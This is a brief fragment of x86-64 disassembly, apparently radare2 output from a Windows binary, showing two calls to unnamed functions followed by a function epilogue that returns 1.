movsx r9d, word [rbx + 0x5b82]
call fcn.1400031f0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14000d700
mov rbx, qword [rsp + 0x40]
mov al, 1
add rsp, 0x30
pop rdi
ret